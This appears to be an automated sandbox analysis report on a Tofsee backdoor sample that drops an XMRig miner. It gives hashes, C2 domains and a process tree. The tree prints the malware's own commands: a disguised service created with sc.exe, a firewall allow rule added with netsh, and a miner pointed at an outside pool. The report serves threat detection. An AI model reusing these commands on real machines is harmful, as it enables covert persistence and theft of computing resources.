Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 00:57

General

  • Target

    a3ca0bf18a68b0cbced02408ffc6860d64fb305c21a0fc6c68002902d6709bbb.exe

  • Size

    198KB

  • MD5

    51864dbcf25db5202201d86d6f19b060

  • SHA1

    a2d89e36b8cdac23f430a3adcc35a3d05877296c

  • SHA256

    a3ca0bf18a68b0cbced02408ffc6860d64fb305c21a0fc6c68002902d6709bbb

  • SHA512

    9d1f03c38f6cb371402b4f5497b86e901dd4fa2904764c526f7e16beea4a07962b3a32ccca5242f60fc16583d727c19f17822a242bdb02b7e4e752b9c0db1a36

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a3ca0bf18a68b0cbced02408ffc6860d64fb305c21a0fc6c68002902d6709bbb.exe
    "C:\Users\Admin\AppData\Local\Temp\a3ca0bf18a68b0cbced02408ffc6860d64fb305c21a0fc6c68002902d6709bbb.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:360
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oivmzotn\
      2⤵
        PID:3416
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vqawkva.exe" C:\Windows\SysWOW64\oivmzotn\
        2⤵
          PID:4228
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oivmzotn binPath= "C:\Windows\SysWOW64\oivmzotn\vqawkva.exe /d\"C:\Users\Admin\AppData\Local\Temp\a3ca0bf18a68b0cbced02408ffc6860d64fb305c21a0fc6c68002902d6709bbb.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4820
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oivmzotn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1980
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oivmzotn
          2⤵
          • Launches sc.exe
          PID:3008
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2448
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 360 -s 1040
          2⤵
          • Program crash
          PID:2120
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 360 -ip 360
        1⤵
          PID:2396
        • C:\Windows\SysWOW64\oivmzotn\vqawkva.exe
          C:\Windows\SysWOW64\oivmzotn\vqawkva.exe /d"C:\Users\Admin\AppData\Local\Temp\a3ca0bf18a68b0cbced02408ffc6860d64fb305c21a0fc6c68002902d6709bbb.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2580
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3332
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2584
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2580 -s 540
            2⤵
            • Program crash
            PID:2148
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2580 -ip 2580
          1⤵
            PID:3208

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\vqawkva.exe
            Filesize

            10.8MB

            MD5

            c7aaf9fd817500e8beb28d5667421720

            SHA1

            ae8b395861cf50ab192f88c97528da78e439e565

            SHA256

            9911f77d845529c9c4c9ffbf2cd9ddcf46bea6e7968711aa35ddb2330393374f

            SHA512

            f3004ee5f4541c304d2e379f1ddd68b12261da823c08d55f5477d99365e925a44e1bf278f99f0a5fd94b1bd542f4e00b33e32841029c48097822994db69e379b

          • C:\Windows\SysWOW64\oivmzotn\vqawkva.exe
            Filesize

            10.8MB

            MD5

            c7aaf9fd817500e8beb28d5667421720

            SHA1

            ae8b395861cf50ab192f88c97528da78e439e565

            SHA256

            9911f77d845529c9c4c9ffbf2cd9ddcf46bea6e7968711aa35ddb2330393374f

            SHA512

            f3004ee5f4541c304d2e379f1ddd68b12261da823c08d55f5477d99365e925a44e1bf278f99f0a5fd94b1bd542f4e00b33e32841029c48097822994db69e379b

          • memory/360-144-0x0000000000A1F000-0x0000000000A2D000-memory.dmp
            Filesize

            56KB

          • memory/360-143-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/360-130-0x0000000000A1F000-0x0000000000A2D000-memory.dmp
            Filesize

            56KB

          • memory/360-132-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/360-137-0x0000000000A1F000-0x0000000000A2D000-memory.dmp
            Filesize

            56KB

          • memory/360-138-0x00000000009D0000-0x00000000009E3000-memory.dmp
            Filesize

            76KB

          • memory/360-131-0x00000000009D0000-0x00000000009E3000-memory.dmp
            Filesize

            76KB

          • memory/1980-139-0x0000000000000000-mapping.dmp
          • memory/2448-141-0x0000000000000000-mapping.dmp
          • memory/2580-150-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/2580-149-0x0000000000AFA000-0x0000000000B08000-memory.dmp
            Filesize

            56KB

          • memory/2584-171-0x0000000000000000-mapping.dmp
          • memory/2584-172-0x0000000001080000-0x0000000001171000-memory.dmp
            Filesize

            964KB

          • memory/2584-177-0x0000000001080000-0x0000000001171000-memory.dmp
            Filesize

            964KB

          • memory/3008-140-0x0000000000000000-mapping.dmp
          • memory/3332-168-0x00000000023E0000-0x00000000023E7000-memory.dmp
            Filesize

            28KB

          • memory/3332-151-0x0000000001040000-0x0000000001055000-memory.dmp
            Filesize

            84KB

          • memory/3332-146-0x0000000001040000-0x0000000001055000-memory.dmp
            Filesize

            84KB

          • memory/3332-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/3332-156-0x00000000023B0000-0x00000000023B6000-memory.dmp
            Filesize

            24KB

          • memory/3332-159-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/3332-162-0x00000000023D0000-0x00000000023D5000-memory.dmp
            Filesize

            20KB

          • memory/3332-165-0x0000000007C00000-0x000000000800B000-memory.dmp
            Filesize

            4.0MB

          • memory/3332-152-0x0000000001040000-0x0000000001055000-memory.dmp
            Filesize

            84KB

          • memory/3332-145-0x0000000000000000-mapping.dmp
          • memory/3416-133-0x0000000000000000-mapping.dmp
          • memory/4228-134-0x0000000000000000-mapping.dmp
          • memory/4820-136-0x0000000000000000-mapping.dmp